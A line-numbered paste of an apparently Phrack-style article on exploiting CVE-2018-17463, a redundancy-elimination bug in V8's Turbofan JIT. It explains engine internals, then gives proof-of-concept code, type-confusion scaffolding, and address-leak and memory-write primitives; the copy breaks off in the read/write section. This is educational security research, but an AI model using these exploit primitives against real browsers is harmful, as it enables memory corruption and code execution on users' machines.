· 6 years ago · Jul 24, 2019, 07:30 AM
1|=-----------------------------------------------------------------------=|
2|=---------------=[ The Art of Exploitation ]=---------------=|
3|=-----------------------------------------------------------------------=|
4|=----------------=[ Compile Your Own Type Confusions ]=-----------------=|
5|=---------=[ Exploiting Logic Bugs in JavaScript JIT Engines ]=---------=|
6|=-----------------------------------------------------------------------=|
7|=----------------------------=[ saelo ]=--------------------------------=|
8|=-----------------------=[ phrack@saelo.net ]=--------------------------=|
9|=-----------------------------------------------------------------------=|
10
11
12--[ Table of contents
13
140 - Introduction
151 - V8 Overview
16 1.1 - Values
17 1.2 - Maps
18 1.3 - Object Summary
192 - An Introduction to Just-in-Time Compilation for JavaScript
20 2.1 - Speculative Just-in-Time Compilation
21 2.2 - Speculation Guards
22 2.3 - Turbofan
23 2.4 - Compiler Pipeline
24 2.5 - A JIT Compilation Example
253 - JIT Compiler Vulnerabilities
26 3.1 - Redundancy Elimination
27 3.2 - CVE-2018-17463
284 - Exploitation
29 4.1 - Constructing Type Confusions
30 4.2 - Gaining Memory Read/Write
31 4.3 - Reflections
32 4.4 - Gaining Code Execution
335 - References
346 - Exploit Code
35
36
37--[ 0 - Introduction
38
39This article strives to give an introduction into just-in-time (JIT)
40compiler vulnerabilities at the example of CVE-2018-17463, a bug found
41through source code review and used as part of the hack2win [1] competition
42in September 2018. The vulnerability was afterwards patched by Google with
43commit 52a9e67a477bdb67ca893c25c145ef5191976220 "[turbofan] Fix
44ObjectCreate's side effect annotation" and the fix was made available to
45the public on October 16th with the release of Chrome 70.
46
47Source code snippets in this article can also be viewed online in the
48source code repositories as well as on code search [2]. The exploit was
49tested on chrome version 69.0.3497.81 (64-bit), corresponding to v8 version
506.9.427.19.
51
52
53--[ 1 - V8 Overview
54
55V8 is Google's open source JavaScript engine and is used to power amongst
56others Chromium-based web browsers. It is written in C++ and commonly used
57to execute untrusted JavaScript code. As such it is an interesting piece of
58software for attackers.
59
60V8 features numerous pieces of documentation, both in the source code and
61online [3]. Furthermore, v8 has multiple features that facilitate the
62exploring of its inner workings:
63
64 0. A number of builtin functions usable from JavaScript, enabled
65 through the --enable-natives-syntax flag for d8 (v8's JavaScript
66 shell). These e.g. allow the user to inspect an object via
67 %DebugPrint, to trigger garbage collection with %CollectGarbage, or to
68 force JIT compilation of a function through %OptimizeFunctionOnNextCall.
69
70 1. Various tracing modes, also enabled through command-line flags, which
71 cause logging of numerous engine internal events to stdout or a log
72 file. With these, it becomes possible to e.g. trace the behavior of
73 different optimization passes in the JIT compiler.
74
75 2. Miscellaneous tools in the tools/ subdirectory such as a visualizer
76 of the JIT IR called turbolizer.
77
78--[ 1.1 - Values
79
80As JavaScript is a dynamically typed language, the engine must store type
81information with every runtime value. In v8, this is accomplished through a
82combination of pointer tagging and the use of dedicated type information
83objects, called Maps.
84
85The different JavaScript value types in v8 are listed in src/objects.h, of
86which an excerpt is shown below.
87
88 // Inheritance hierarchy:
89 // - Object
90 // - Smi (immediate small integer)
91 // - HeapObject (superclass for everything allocated in the heap)
92 // - JSReceiver (suitable for property access)
93 // - JSObject
94 // - Name
95 // - String
96 // - HeapNumber
97 // - Map
98 // ...
99
100A JavaScript value is then represented as a tagged pointer of static type
101Object*. On 64-bit architectures, the following tagging scheme is used:
102
103 Smi: [32 bit signed int] [31 bits unused] 0
104 HeapObject: [64 bit direct pointer] | 01
105
106As such, the pointer tag differentiates between Smis and HeapObjects. All
107further type information is then stored in a Map instance to which a
108pointer can be found in every HeapObject at offset 0.
109
110With this pointer tagging scheme, arithmetic or binary operations on Smis
111can often ignore the tag as the lower 32 bits will be all zeroes. However,
112dereferencing a HeapObject requires masking off the least significant bit
113(LSB) first. For that reason, all accesses to data members of a HeapObject
114have to go through special accessors that take care of clearing the LSB. In
115fact, Objects in v8 do not have any C++ data members, as access to those
116would be impossible due to the pointer tag. Instead, the engine stores data
117members at predefined offsets in an object through mentioned accessor
118functions. In essence, v8 thus defines the in-memory layout of Objects
119itself instead of delegating this to the compiler.
120
121----[ 1.2 - Maps
122
123The Map is a key data structure in v8, containing information such as
124
125* The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, ...
126* The size of the object in bytes
127* The properties of the object and where they are stored
128* The type of the array elements, e.g. unboxed doubles or tagged pointers
129* The prototype of the object if any
130
131While the property names are usually stored in the Map, the property values
132are stored with the object itself in one of several possible regions. The
133Map then provides the exact location of the property value in the
134respective region.
135
136In general there are three different regions in which property values can
137be stored: inside the object itself ("inline properties"), in a separate,
138dynamically sized heap buffer ("out-of-line properties"), or, if the
139property name is an integer index [4], as array elements in a
140dynamically-sized heap array. In the first two cases, the Map will store
141the slot number of the property value while in the last case the slot
142number is the element index. This can be seen in the following example:
143
144 let o1 = {a: 42, b: 43};
145 let o2 = {a: 1337, b: 1338};
146
147After execution, there will be two JSObjects and one Map in memory:
148
149 +----------------+
150 | |
151 | map1 |
152 | |
153 | property: slot |
154 | .a : 0 |
155 | .b : 1 |
156 | |
157 +----------------+
158 ^ ^
159 +--------------+ | |
160 | +------+ |
161 | o1 | +--------------+
162 | | | |
163 | slot : value | | o2 |
164 | 0 : 42 | | |
165 | 1 : 43 | | slot : value |
166 +--------------+ | 0 : 1337 |
167 | 1 : 1338 |
168 +--------------+
169
170As Maps are relatively expensive objects in terms of memory usage, they are
171shared as much as possible between "similar" objects. This can be seen in
172the previous example, where both o1 and o2 share the same Map, map1.
173However, if a third property .c (e.g. with value 1339) is added to o1, then
174the Map can no longer be shared as o1 and o2 now have different properties.
175As such, a new Map is created for o1:
176
177 +----------------+ +----------------+
178 | | | |
179 | map1 | | map2 |
180 | | | |
181 | property: slot | | property: slot |
182 | .a : 0 | | .a : 0 |
183 | .b : 1 | | .b : 1 |
184 | | | .c : 2 |
185 +----------------+ +----------------+
186 ^ ^
187 | |
188 | |
189 +--------------+ +--------------+
190 | | | |
191 | o2 | | o1 |
192 | | | |
193 | slot : value | | slot : value |
194 | 0 : 1337 | | 0 : 1337 |
195 | 1 : 1338 | | 1 : 1338 |
196 +--------------+ | 2 : 1339 |
197 +--------------+
198
199If later on the same property .c was added to o2 as well, then both objects
200would again share map2. The way this works efficiently is by keeping track
201in each Map which new Map an object should be transitioned to if a property
202of a certain name (and possibly type) is added to it. This data structure
203is commonly called a transition table.
204
205V8 is, however, also capable of storing the properties as a hash map
206instead of using the Map and slot mechanism, in which case the property
207name is directly mapped to the value. This is used in cases when the engine
208believes that the Map mechanism will induce additional overhead, such as
209e.g. in the case of singleton objects.
210
211The Map mechanism is also essential for garbage collection: when the
212collector processes an allocation (a HeapObject), it can immediately
213retrieve information such as the object's size and whether the object
214contains any other tagged pointers that need to be scanned by inspecting
215the Map.
216
217----[ 1.3 - Object Summary
218
219Consider the following code snippet
220
221 let obj = {
222 x: 0x41,
223 y: 0x42
224 };
225 obj.z = 0x43;
226 obj[0] = 0x1337;
227 obj[1] = 0x1338;
228
229After execution in v8, inspecting the memory address of the object shows:
230
231 (lldb) x/5gx 0x23ad7c58e0e8
232 0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201
233 0x23ad7c58e0f8: 0x000023ad7c58e229 0x0000004100000000
234 0x23ad7c58e108: 0x0000004200000000
235
236 (lldb) x/3gx 0x23ad7c58e200
237 0x23ad7c58e200: 0x000023adafb038f9 0x0000000300000000
238 0x23ad7c58e210: 0x0000004300000000
239
240 (lldb) x/6gx 0x23ad7c58e228
241 0x23ad7c58e228: 0x000023adafb028b9 0x0000001100000000
242 0x23ad7c58e238: 0x0000133700000000 0x0000133800000000
243 0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691
244 ...
245
246First is the object itself which consists of a pointer to its Map
247(0x23adbcd8c751), the pointer to its out-of-line properties
248(0x23ad7c58e201), the pointer to its elements (0x23ad7c58e229), and the two
249inline properties (x and y). Inspecting the out-of-line properties pointer
250shows another object that starts with a Map (which indicates that this is a
251FixedArray) followed by the size and the property z. The elements array
252again starts with a pointer to the Map, followed by the capacity, followed
253by the two elements with index 0 and 1 and 9 further elements set to the
254magic value "the_hole" (indicating that the backing memory has been
255overcommitted). As can be seen, all values are stored as tagged pointers.
256If further objects were created in the same fashion, they would reuse the
257existing Map.
258
259
260--[ 2 - An Introduction to Just-in-Time Compilation for JavaScript
261
262Modern JavaScript engines typically employ an interpreter and one or
263multiple just-in-time compilers. As a unit of code is executed more
264frequently, it is moved to higher tiers which are capable of executing the
265code faster, although their startup time is usually higher as well.
266
267The next section aims to give an intuitive introduction rather than a
268formal explanation of how JIT compilers for dynamic languages such as
269JavaScript manage to produce optimized machine code from a script.
270
271----[ 2.1 - Speculative Just-in-Time Compilation
272
273Consider the following two code snippets. How could each of them be
274compiled to machine code?
275
276 // C++
277 int add(int a, int b) {
278 return a + b;
279 }
280
281 // JavaScript
282 function add(a, b) {
283 return a + b;
284 }
285
286The answer seems rather clear for the first code snippet. After all, the
287types of the arguments as well as the ABI, which specifies the registers
288used for parameters and return values, are known. Further, the instruction
289set of the target machine is available. As such, compilation to machine
290code might produce the following x86_64 code:
291
292 lea eax, [rdi + rsi]
293 ret
294
295However, for the JavaScript code, type information is not known. As such,
296it seems impossible to produce anything better than the generic add
297operation handler [5], which would only provide a negligible performance
298boost over the interpreter. As it turns out, dealing with missing type
299information is a key challenge to overcome for compiling dynamic languages
300to machine code. This can also be seen by imagining a hypothetical
301JavaScript dialect which uses static typing, for example:
302
303 function add(a: Smi, b: Smi) -> Smi {
304 return a + b;
305 }
306
307In this case, it is again rather easy to produce machine code:
308
309 lea rax, [rdi+rsi]
310 jo bailout_integer_overflow
311 ret
312
313This is possible because the lower 32 bits of a Smi will be all zeroes due
314to the pointer tagging scheme. This assembly code looks very similar to the
315C++ example, except for the additional overflow check, which is required
316since JavaScript does not know about integer overflows (in the
317specification all numbers are IEEE 754 double precision floating point
318numbers), but CPUs certainly do. As such, in the unlikely event of an
319integer overflow, the engine would have to transfer execution to a
320different, more generic execution tier like the interpreter. There it would
321repeat the failed operation and in this case convert both inputs to
322floating point numbers prior to adding them together. This mechanism is
323commonly called bailout and is essential for JIT compilers, as it allows
324them to produce specialized code which can always fall back to more generic
325code if an unexpected situation occurs.
326
327Unfortunately, for plain JavaScript the JIT compiler does not have the
328comfort of static type information. However, as JIT compilation only
329happens after several executions in a lower tier, such as the interpreter,
330the JIT compiler can use type information from previous executions. This,
331in turn, enables speculative optimization: the compiler will assume that a
332unit of code will be used in a similar way in the future and thus see the
333same types for e.g. the arguments. It can then produce optimized code like
334the one shown above assuming that the types will be used in the future.
335
336----[ 2.2 Speculation Guards
337
338Of course, there is no guarantee that a unit of code will always be used in
339a similar way. As such, the compiler must verify that all of its type
340speculations still hold at runtime before executing the optimized code.
341This is accomplished through a number of lightweight runtime checks,
342discussed next.
343
344By inspecting feedback from previous executions and the current engine
345state, the JIT compiler first formulates various speculations such as "this
346value will always be a Smi", or "this value will always be an object with a
347specific Map", or even "this Smi addition will never cause an integer
348overflow". Each of these speculations is then verified to still hold at
349runtime with a short piece of machine code, called a speculation guard. If
350the guard fails, it will perform a bailout to a lower execution tier such
351as the interpreter. Below are two commonly used speculation guards:
352
353 ; Ensure is Smi
354 test rdi, 0x1
355 jnz bailout
356
357 ; Ensure has expected Map
358 cmp QWORD PTR [rdi-0x1], 0x12345601
359 jne bailout
360
361The first guard, a Smi guard, verifies that some value is a Smi by checking
362that the pointer tag is zero. The second guard, a Map guard, verifies that
363a HeapObject in fact has the Map that it is expected to have.
364
365Using speculation guards, dealing with missing type information becomes:
366
367 0. Gather type profiles during execution in the interpreter
368
369 1. Speculate that the same types will be used in the future
370
371 2. Guard those speculations with runtime speculation guards
372
373 3. Afterwards, produce optimized code for the previously seen types
374
375In essence, inserting a speculation guard adds a piece of static type
376information to the code following it.
377
378----[ 2.3 Turbofan
379
380Even though an internal representation of the user's JavaScript code is
381already available in the form of bytecode for the interpreter, JIT
382compilers commonly convert the bytecode to a custom intermediate
383representation (IR) which is better suited for the various optimizations
384performed. Turbofan, the JIT compiler inside v8, is no exception. The IR
385used by turbofan is graph-based, consisting of operations (nodes) and
386different types of edges between them, namely
387
388 * control-flow edges, connecting control-flow operations such as loops
389 and if conditions
390
391 * data-flow edges, connecting input and output values
392
393 * effect-flow edges, which connect effectual operations such that they
394 are scheduled correctly. For example: consider a store to a property
395 followed by a load of the same property. As there is no data- or
396 control-flow dependency between the two operations, effect-flow is
397 needed to correctly schedule the store before the load.
398
399Further, the turbofan IR supports three different types of operations:
400JavaScript operations, simplified operations, and machine operations.
401Machine operations usually resemble a single machine instruction while JS
402operations resemble a generic bytecode instruction. Simplified operations
403are somewhere in between. As such, machine operations can directly be
404translated into machine instructions while the other two types of
405operations require further conversion steps to lower-level operations (a
406process called lowering). For example, the generic property load operations
407could be lowered to a CheckHeapObject and CheckMaps operation followed by a
4088-byte load from an inline slot of an object.
409
410A comfortable way to study the behavior of the JIT compiler in various
411scenarios is through v8's turbolizer tool [6]: a small web application that
412consumes the output produced by the --trace-turbo command line flag and
413renders it as an interactive graph.
414
415----[ 2.4 Compiler Pipeline
416
417Given the previously described mechanisms, a typical JavaScript JIT
418compiler pipeline then looks roughly as follows:
419
420 0. Graph building and specialization: the bytecode as well as runtime
421 type profiles from the interpreter are consumed and an IR graph,
422 representing the same computations, is constructed. Type profiles are
423 inspected and based on them speculations are formulated, e.g. about
424 which types of values to see for an operation. The speculations are
425 guarded with speculation guards.
426
427 1. Optimization: the resulting graph, which now has static type
428 information due to the guards, is optimized much like "classic"
429 ahead-of-time (AOT) compilers do. Here an optimization is defined as a
430 transformation of code that is not required for correctness but
431 improves the execution speed or memory footprint of the code. Typical
432 optimizations include loop-invariant code motion, constant folding,
433 escape analysis, and inlining.
434
435 2. Lowering: finally, the resulting graph is lowered to machine code
436 which is then written into an executable memory region. From that point
437 on, invoking the compiled function will result in a transfer of
438 execution to the generated code.
439
440This structure is rather flexible though. For example, lowering could
441happen in multiple stages, with further optimizations in between them. In
442addition, register allocation has to be performed at some point, which is,
443however, also an optimization to some degree.
444
445----[ 2.5 - A JIT Compilation Example
446
447This chapter is concluded with an example of the following function being
448JIT compiled by turbofan:
449
450 function foo(o) {
451 return o.b;
452 }
453
454During parsing, the function would first be compiled to generic bytecode,
455which can be inspected using the --print-bytecode flag for d8. The output
456is shown below.
457
458 Parameter count 2
459 Frame size 0
460 12 E> 0 : a0 StackCheck
461 31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0]
462 33 S> 5 : a4 Return
463 Constant pool (size = 1)
464 0x1fbc69c24ad9: [FixedArray] in OldSpace
465 - map: 0x1fbc6ec023c1 <Map>
466 - length: 1
467 0: 0x1fbc69c24301 <String[1]: b>
468
469The function is mainly compiled to two operations: LdaNamedProperty, which
470loads property .b of the provided argument, and Return, which returns said
471property. The StackCheck operation at the beginning of the function guards
472against stack overflows by throwing an exception if the call stack size is
473exceeded. More information about v8's bytecode format and interpreter can
474be found online [7].
475
476To trigger JIT compilation, the function has to be invoked several times:
477
478 for (let i = 0; i < 100000; i++) {
479 foo({a: 42, b: 43});
480 }
481
482 /* Or by using a native after providing some type information: */
483 foo({a: 42, b: 43});
484 foo({a: 42, b: 43});
485 %OptimizeFunctionOnNextCall(foo);
486 foo({a: 42, b: 43});
487
488This will also inhabit the feedback vector of the function which associates
489observed input types with bytecode operations. In this case, the feedback
490vector entry for the LdaNamedProperty would contain a single entry: the Map
491of the objects that were given to the function as argument. This Map will
492indicate that property .b is stored in the second inline slot.
493
494Once turbofan starts compiling, it will build a graph representation of the
495JavaScript code. It will also inspect the feedback vector and, based on
496that, speculate that the function will always be called with an object of a
497specific Map. Next, it guards these assumptions with two runtime checks,
498which will bail out to the interpreter if the assumptions ever turn out to
499be false, then proceeds to emit a property load for an inline property.
500The optimized graph will ultimately look similar to the one shown below.
501Here, only data-flow edges are shown.
502
503 +----------------+
504 | |
505 | Parameter[1] |
506 | |
507 +-------+--------+
508 | +-------------------+
509 | | |
510 +-------------------> CheckHeapObject |
511 | |
512 +----------+--------+
513 +------------+ |
514 | | |
515 | CheckMap <-----------------------+
516 | |
517 +-----+------+
518 | +------------------+
519 | | |
520 +-------------------> LoadField[+32] |
521 | |
522 +----------+-------+
523 +----------+ |
524 | | |
525 | Return <------------------------+
526 | |
527 +----------+
528
529This graph will then be lowered to machine code similar to the following.
530
531 ; Ensure o is not a Smi
532 test rdi, 0x1
533 jz bailout_not_object
534
535 ; Ensure o has the expected Map
536 cmp QWORD PTR [rdi-0x1], 0xabcd1234
537 jne bailout_wrong_map
538
539 ; Perform operation for object with known Map
540 mov rax, [rdi+0x1f]
541 ret
542
543If the function were to be called with an object with a different Map, the
544second guard would fail, causing a bailout to the interpreter (more
545precisely to the LdaNamedProperty operation of the bytecode) and likely the
546discarding of the compiled code. Eventually, the function would be
547recompiled to take the new type feedback into account. In that case, the
548function would be re-compiled to perform a polymorphic property load
549(supporting more than one input type), e.g. by emitting code for the
550property load for both Maps, then jumping to the respective one depending
551on the current Map. If the operation becomes even more polymorphic, the
552compiler might decide to use a generic inline cache (IC) [8][9] for
553the polymorphic operation. An IC caches previous lookups but can always
554fall-back to the runtime function for previously unseen input types without
555bailing out of the JIT code.
556
557
558--[ 3 - JIT Compiler Vulnerabilities
559
560JavaScript JIT compilers are commonly implemented in C++ and as such are
561subject to the usual list of memory- and type-safety violations. These are
562not specific to JIT compilers and will thus not be discussed further.
563Instead, the focus will be put on bugs in the compiler which lead to
564incorrect machine code generation which can then be exploited to cause
565memory corruption.
566
567Besides bugs in the lowering phases [10][11] which often result in rather
568classic vulnerabilities like integer overflows in the generated machine
569code, many interesting bugs come from the various optimizations. There have
570been bugs in bounds-check elimination [12][13][14][15], escape analysis
571[16][17], register allocation [18], and others. Each optimization pass
572tends to yield its own kind of vulnerabilities.
573
574When auditing complex software such as JIT compilers, it is often a
575sensible approach to determine specific vulnerability patterns in advance
576and look for instances of them. This is also a benefit of manual code
577auditing: knowing that a particular type of bug usually leads to a simple,
578reliable exploit, this is what the auditor can look for specifically.
579
580As such, a specific optimization, namely redundancy elimination, will be
581discussed next, along with the type of vulnerability one can find there and
582a concrete vulnerability, CVE-2018-17463, accompanied with an exploit.
583
584----[ 3.1 - Redundancy Elimination
585
586One popular class of optimizations aims to remove safety checks from the
587emitted machine code if they are determined to be unnecessary. As can be
588imagined, these are very interesting for the auditor as a bug in those will
589usually result in some kind of type confusion or out-of-bounds access.
590
591One instance of these optimization passes, often called "redundancy
592elimination", aims to remove redundant type checks. As an example, consider
593the following code:
594
595 function foo(o) {
596 return o.a + o.b;
597 }
598
599Following the JIT compilation approach outlined in chapter 2, the following
600IR code might be emitted for it:
601
602 CheckHeapObject o
603 CheckMap o, map1
604 r0 = Load [o + 0x18]
605
606 CheckHeapObject o
607 CheckMap o, map1
608 r1 = Load [o + 0x20]
609
610 r2 = Add r0, r1
611 CheckNoOverflow
612 Return r2
613
614The obvious issue here is the redundant second pair of CheckHeapObject and
615CheckMap operations. In that case it is clear that the Map of o can not
616change between the two CheckMap operations. The goal of redundancy
617elimination is thus to detect these types of redundant checks and remove
618all but the first one on the same control-flow path.
619
620However, certain operations can cause side-effects: observable changes to
621the execution context. For example, a Call operation invoking a user
622supplied function could easily cause an object’s Map to change, e.g. by
623adding or removing a property. In that case, a seemingly redundant check is
624in fact required as the Map could change in between the two checks. As such
625it is essential for this optimization that the compiler knows about all
626effectful operations in its IR. Unsurprisingly, correctly predicting side
627effects of JIT operations can be quite hard due to to the nature of the
628JavaScript language. Bugs related to incorrect side effect predictions thus
629appear from time to time and are typically exploited by tricking the
630compiler into removing a seemingly redundant type check, then invoking the
631compiled code such that an object of an unexpected type is used without a
632preceding type check. Some form of type confusion then follows.
633
634Vulnerabilities related to incorrect modeling of side-effect can usually be
635found by locating IR operations which are assumed side-effect free by the
636engine, then verifying whether they really are side-effect free in all
637cases. This is how CVE-2018-17463 was found.
638
639----[ 3.2 CVE-2018-17463
640
641In v8, IR operations have various flags associated with them. One of them,
642kNoWrite, indicates that the engine assumes that an operation will not have
643observable side-effects, it does not "write" to the effect chain. An
644example for such an operation was JSCreateObject, shown below:
645
646 #define CACHED_OP_LIST(V) \
647 ... \
648 V(CreateObject, Operator::kNoWrite, 1, 1) \
649 ...
650
651To determine whether an IR operation might have side-effects it is often
652necessary to look at the lowering phases which convert high-level
653operations, such as JSCreateObject, into lower-level instruction and
654eventually machine instructions. For JSCreateObject, the lowering happens
655in js-generic-lowering.cc, responsible for lowering JS operations:
656
657 void JSGenericLowering::LowerJSCreateObject(Node* node) {
658 CallDescriptor::Flags flags = FrameStateFlagForCall(node);
659 Callable callable = Builtins::CallableFor(
660 isolate(), Builtins::kCreateObjectWithoutProperties);
661 ReplaceWithStubCall(node, callable, flags);
662 }
663
664In plain english, this means that a JSCreateObject operation will be
665lowered to a call to the runtime function CreateObjectWithoutProperties.
666This function in turn ends up calling ObjectCreate, another builtin but
667this time implemented in C++. Eventually, control flow ends up in
668JSObject::OptimizeAsPrototype. This is interesting as it seems to imply
669that the prototype object may potentially be modified during said
670optimization, which could be an unexpected side-effect for the JIT
671compiler. The following code snippet can be run to check whether
672OptimizeAsPrototype modifies the object in some way:
673
674 let o = {a: 42};
675 %DebugPrint(o);
676 Object.create(o);
677 %DebugPrint(o);
678
679Indeed, running it with `d8 --allow-natives-syntax` shows:
680
681 DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
682 - map: 0x0344c6f02571 <Map(HOLEY_ELEMENTS)> [FastProperties]
683 ...
684
685 DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
686 - map: 0x0344c6f0d6d1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
687
688As can be seen, the object's Map has changed when becoming a prototype so
689the object must have changed in some way as well. In particular, when
690becoming a prototype, the out-of-line property storage of the object was
691converted to dictionary mode. As such the pointer at offset 8 from the
692object will no longer point to a PropertyArray (all properties one after
693each other, after a short header), but instead to a NameDictionary (a more
694complex data structure directly mapping property names to values without
695relying on the Map). This certainly is a side effect and in this case an
696unexpected one for the JIT compiler. The reason for the Map change is that
697in v8, prototype Maps are never shared due to clever optimization tricks in
698other parts of the engine [19].
699
700At this point it is time to construct a first proof-of-concept for the bug.
701The requirements to trigger an observable misbehavior in a compiled
702function are:
703
704 0. The function must receive an object that is not currently used as a
705 prototype.
706
707 1. The function needs to perform a CheckMap operation so that
708 subsequent ones can be eliminated.
709
710 2. The function needs to call Object.create with the object as argument
711 to trigger the Map transition.
712
713 3. The function needs to access an out-of-line property. This will,
714 after a CheckMap that will later be incorrectly eliminated, load the
715 pointer to the property storage, then deference that believing that it
716 is pointing to a PropertyArray even though it will point to a
717 NameDictionary.
718
719The following JavaScript code snippet accomplishes this
720
721 function hax(o) {
722 // Force a CheckMaps node.
723 o.a;
724
725 // Cause unexpected side-effects.
726 Object.create(o);
727
728 // Trigger type-confusion because CheckMaps node is removed.
729 return o.b;
730 }
731
732 for (let i = 0; i < 100000; i++) {
733 let o = {a: 42};
734 o.b = 43; // will be stored out-of-line.
735 hax(o);
736 }
737
738It will first be compiled to pseudo IR code similar to the following:
739
740 CheckHeapObject o
741 CheckMap o, map1
742 Load [o + 0x18]
743
744 // Changes the Map of o
745 Call CreateObjectWithoutProperties, o
746
747 CheckMap o, map1
748 r1 = Load [o + 0x8] // Load pointer to out-of-line properties
749 r2 = Load [r1 + 0x10] // Load property value
750
751 Return r2
752
753Afterwards, the redundancy elimination pass will incorrectly remove the
754second Map check, yielding:
755
756 CheckHeapObject o
757 CheckMap o, map1
758 Load [o + 0x18]
759
760 // Changes the Map of o
761 Call CreateObjectWithoutProperties, o
762
763 r1 = Load [o + 0x8]
764 r2 = Load [r1 + 0x10]
765
766 Return r2
767
768When this JIT code is run for the first time, it will return a different
769value than 43, namely an internal fields of the NameDictionary which
770happens to be located at the same offset as the .b property in the
771PropertyArray.
772
773Note that in this case, the JIT compiler tried to infer the type of the
774argument object at the second property load instead of relying on the type
775feedback and thus, assuming the map wouldn’t change after the first type
776check, produced a property load from a FixedArray instead of a
777NameDictionary.
778
779
780--[ 4 - Exploitation
781
782The bug at hand allows the confusion of a PropertyArray with a
783NameDictionary. Interestingly, the NameDictionary still stores the property
784values inside a dynamically sized inline buffer of (name, value, flags)
785triples. As such, there likely exists a pair of properties P1 and P2 such
786that both P1 and P2 are located at offset O from the start of either the
787PropertyArray or the NameDictionary respectively. This is interesting for
788reasons explained in the next section. Shown next is the memory dump of the
789PropertyArray and NameDictionary for the same properties side by side:
790
791 let o = {inline: 42};
792 o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
793 o.p5 = 5; o.p6 = 6; o.p7 = 7; o.p8 = 8; o.p9 = 9;
794
795 0x0000130c92483e89 0x0000130c92483bb1
796 0x0000000c00000000 0x0000006500000000
797 0x0000000000000000 0x0000000b00000000
798 0x0000000100000000 0x0000000000000000
799 0x0000000200000000 0x0000002000000000
800 0x0000000300000000 0x0000000c00000000
801 0x0000000400000000 0x0000000000000000
802 0x0000000500000000 0x0000130ce98a4341
803 0x0000000600000000 <-!-> 0x0000000200000000
804 0x0000000700000000 0x000004c000000000
805 0x0000000800000000 0x0000130c924826f1
806 0x0000000900000000 0x0000130c924826f1
807 ... ...
808
809In this case the properties p6 and p2 overlap after the conversion to
810dictionary mode. Unfortunately, the layout of the NameDictionary will be
811different in every execution of the engine due to some process-wide
812randomness being used in the hashing mechanism. It is thus necessary to
813first find such a matching pair of properties at runtime. The following
814code can be used for that purpose.
815
816 function find_matching_pair(o) {
817 let a = o.inline;
818 this.Object.create(o);
819 let p0 = o.p0;
820 let p1 = o.p1;
821 ...;
822 return [p0, p1, ..., pN];
823 let pN = o.pN;
824 }
825
826Afterwards, the returned array is searched for a match. In case the exploit
827gets unlucky and doesn't find a matching pair (because all properties are
828stored at the end of the NameDictionaries inline buffer by bad luck), it is
829able to detect that and can simply retry with a different number of
830properties or different property names.
831
832----[ 4.1 - Constructing Type Confusions
833
834There is an important bit about v8 that wasn't discussed yet. Besides the
835location of property values, Maps also store type information for
836properties. Consider the following piece of code:
837
838 let o = {}
839 o.a = 1337;
840 o.b = {x: 42};
841
842After executing it in v8, the Map of o will indicate that the property .a
843will always be a Smi while property .b will be an Object with a certain Map
844that will in turn have a property .x of type Smi. In that case, compiling a
845function such as
846
847 function foo(o) {
848 return o.b.x;
849 }
850
851will result in a single Map check for o but no further Map check for the .b
852property since it is known that .b will always be an Object with a specific
853Map. If the type information for a property is ever invalidated by
854assigning a property value of a different type, a new Map is allocated and
855the type information for that property is widened to include both the
856previous and the new type.
857
858With that, it becomes possible to construct a powerful exploit primitive
859from the bug at hand: by finding a matching pair of properties JIT code can
860be compiled which assumes it will load property p1 of one type but in
861reality ends up loading property p2 of a different type. Due to the type
862information stored in the Map, the compiler will, however, omit type checks
863for the property value, thus yielding a kind of universal type confusion: a
864primitive that allows one to confuse an object of type X with an object of
865type Y where both X and Y, as well as the operation that will be performed
866on type X in the JIT code, can be arbitrarily chosen. This is,
867unsurprisingly, a very powerful primitive.
868
869Below is the scaffold code for crafting such a type confusion primitive
870from the bug at hand. Here p1 and p2 are the property names of the two
871properties that overlap after the property storage is converted to
872dictionary mode. As they are not known in advance, the exploit relies on
873eval to generate the correct code at runtime.
874
875 eval(`
876 function vuln(o) {
877 // Force a CheckMaps node
878 let a = o.inline;
879 // Trigger unexpected transition of property storage
880 this.Object.create(o);
881 // Seemingly load .p1 but really load .p2
882 let p = o.${p1};
883 // Use p (known to be of type X but really is of type Y)
884 // ...;
885 }
886 `);
887
888 let arg = makeObj();
889 arg[p1] = objX;
890 arg[p2] = objY;
891 vuln(arg);
892
893In the JIT compiled function, the compiler will then know that the local
894variable p will be of type X due to the Map of o and will thus omit type
895checks for it. However, due to the vulnerability, the runtime code will
896actually receive an object of type Y, causing a type confusion.
897
898----[ 4.2 - Gaining Memory Read/Write
899
900From here, additional exploit primitives will now be constructed: first a
901primitive to leak the addresses of JavaScript objects, second a primitive
902to overwrite arbitrary fields in an object. The address leak is possible by
903confusing the two objects in a compiled piece of code which fetches the .x
904property, an unboxed double, converts it to a v8 HeapNumber, and returns
905that to the caller. Due to the vulnerability, it will, however, actually
906load a pointer to an object and return that as a double.
907
908 function vuln(o) {
909 let a = o.inline;
910 this.Object.create(o);
911 return o.${p1}.x1;
912 }
913
914 let arg = makeObj();
915 arg[p1] = {x: 13.37}; // X, inline property is an unboxed double
916 arg[p2] = {y: obj}; // Y, inline property is a pointer
917 vuln(arg);
918
919This code will result in the address of obj being returned to the caller
920as a double, such as 1.9381218278403e-310.
921
922Next, the corruption. As is often the case, the "write" primitive is just
923the inversion of the "read" primitive. In this case, it suffices to write
924to a property that is expected to be an unboxed double, such as shown next.
925
926 function vuln(o) {
927 let a = o.inline;
928 this.Object.create(o);
929 let orig = o.${p1}.x2;
930 o.${p1}.x = ${newValue};
931 return orig;
932 }
933
934 let arg = makeObj();
935 arg[p1] = {x: 13.37};
936 arg[p2] = {y: obj};
937 vuln(arg);
938
939This will "corrupt" property .y of the second object with a controlled
940double. However, to achieve something useful, the exploit would likely need
941to corrupt an internal field of an object, such as is done below for an
942ArrayBuffer. Note that the second primitive will read the old value of the
943property and return that to the caller. This makes it possible to:
944
945 * immediately detect once the vulnerable code ran for the first time
946 and corrupted the victim object
947
948 * fully restore the corrupted object at a later point to guarantee
949 clean process continuation.
950
951With those primitives at hand, gaining arbitrary memory read/write becomes
952as easy as
953
954 0. Creating two ArrayBuffers, ab1 and ab2
955
956 1. Leaking the address of ab2
957
958 2. Corrupting the backingStore pointer of ab1 to point to ab2
959
960Yielding the following situation:
961
962 +-----------------+ +-----------------+
